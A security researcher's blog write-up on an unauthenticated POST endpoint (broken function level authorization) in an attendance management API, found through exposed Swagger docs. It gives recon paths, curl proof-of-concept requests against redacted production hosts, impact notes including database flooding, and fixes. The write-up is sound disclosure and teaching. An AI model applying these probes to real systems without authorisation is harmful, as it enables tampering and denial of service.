Hey folks πŸ‘‹

Today I want to share a real vulnerability I recently discovered and responsibly disclosed β€” walking you through my exact methodology, from initial recon to the final PoC. No fluff, just the process.

πŸ•΅οΈ The Starting Point β€” Swagger Recon

It started like most of my recon sessions: exploring a web application's network traffic in browser DevTools. I noticed the app was making calls to /api/department for listing departments in what appeared to be an internal Attendance Management System (AMS).

My first instinct? Check for exposed API documentation.

I tried a few predictable paths:

/api/docs
/swagger
/swagger.json
/openapi.json
/api/swagger-ui

Bingo β€” /api/docs returned a full Swagger/OpenAPI UI, completely unauthenticated. This gave me a live, interactive map of every endpoint in the application β€” parameters, request bodies, response schemas, everything.

πŸ’‘ Tip: Always check for exposed Swagger/OpenAPI docs during recon. Developers often leave them public in staging and production.

πŸ—ΊοΈ Mapping the Attack Surface

Inside the Swagger UI, I found the /api/department resource with the following methods documented:

MethodDescriptionGETList all departmentsPOSTCreate a new departmentPUTUpdate a departmentDELETEDelete a department

Nothing unusual yet. But then I noticed the POST endpoint had no lock icon in the Swagger UI β€” meaning it was marked as unauthenticated, while PUT and DELETE showed the padlock (auth required).

That asymmetry immediately caught my eye. 🧐

πŸ”¬ Hypothesis β€” Broken Function Level Authorization (BFLA)

My hypothesis: only POST is unprotected, while sibling methods correctly enforce authentication.

This is a textbook OWASP API5:2023 β€” Broken Function Level Authorization (BFLA) scenario. It happens when developers apply auth middleware per-method rather than at the resource level β€” and one method slips through.

Time to verify.

πŸ§ͺ Proof of Concept

Step 1 β€” Test POST Without Any Token

curl -sk -X POST "https://[REDACTED]/api/department" \
  -H "Content-Type: application/json" \
  -d '{"name":"Test Department","parentId":"[REDACTED-UUID]"}'

Response β€” HTTP 201 Created:

{
  "status": true,
  "code": 201,
  "message": "",
  "data": {
    "department": {
      "name": "Test Department",
      "id": "[NEW-UUID]"
    }
  }
}

No token. No session. No authorization header. A record was created in the production database instantly. 😬

Step 2 β€” Verify the Record Persists

curl -sk "https://[REDACTED]/api/department/[NEW-UUID]"

Response β€” HTTP 200 OK:

{
  "status": true,
  "code": 200,
  "data": {
    "id": "[NEW-UUID]",
    "name": "Test Department",
    "parentId": "[REDACTED-UUID]",
    "createdAt": "2026-04-14T16:49:01.132Z",
    "updatedAt": "2026-04-14T16:49:01.132Z",
    "deletedAt": null
  }
}

The record is live, persistent, and publicly visible in the department listing used by all employees.

Step 3 β€” Confirm Auth IS Enforced on Siblings

# PUT without token
curl -sk -X PUT "https://[REDACTED]/api/department/[UUID]" \
  -H "Content-Type: application/json" \
  -d '{"name":"Modified"}'
# β†’ 401 Not Authenticated βœ…
# DELETE without token
curl -sk -X DELETE "https://[REDACTED]/api/department/[UUID]"
# β†’ 401 Not Authenticated βœ…

This confirms the vulnerability is method-specific β€” only POST was left unguarded. The created records can only be deleted via the auth-protected DELETE, meaning an attacker can pollute the database with no way to self-clean.

πŸ’₯ Impact

1. Org Chart Pollution

Any anonymous attacker can inject arbitrary department names into the company's internal org structure. These appear immediately in the AMS used by all employees β€” no admin approval required.

2. Database Resource Exhaustion

With zero rate limiting on the endpoint, an automated script can flood the Department table with millions of records in minutes, causing:

  • Application slowdowns for all AMS users
  • Increased database storage costs
  • Degraded performance on legitimate queries

πŸ”Ž Root Cause Analysis

This pattern is extremely common in frameworks like Express.js, FastAPI, or Spring Boot when auth middleware is applied per-route rather than globally. The likely scenario:

router.put('/department',   authMiddleware, updateHandler);   βœ…
router.delete('/department', authMiddleware, deleteHandler);  βœ…
router.post('/department',  createHandler);                   ❌ // forgot middleware

One missing line. Production impact. Classic.

πŸ›‘οΈ Recommended Fix

  1. Apply authentication middleware globally at the router level, not per-method
  2. Explicitly allowlist public endpoints rather than blocklisting protected ones
  3. Add rate limiting (e.g., 10 req/min per IP) on all write endpoints
  4. Restrict Swagger/OpenAPI UI to internal networks or authenticated sessions only
  5. Periodic API security audits β€” use tools like ffuf, Arjun, or manual Swagger review

πŸ“š Key Takeaways

  • Always probe all HTTP methods on every endpoint β€” BFLA hides in method asymmetry
  • Exposed Swagger docs are a goldmine for API surface mapping
  • Rate limiting is a separate control from authentication β€” both must be present
  • Responsible disclosure matters β€” I reported this privately before publishing anything

🏷️ Vulnerability Classification

  • OWASP API Top 10: API5:2023 β€” Broken Function Level Authorization
  • CWE: CWE-285 (Improper Authorization), CWE-770 (Resource Allocation Without Limits)
  • Severity: High

⚠️ All sensitive details including company identity, server URLs, UUIDs, and endpoint paths have been redacted or generalized. This post is published only after responsible disclosure to the affected organization.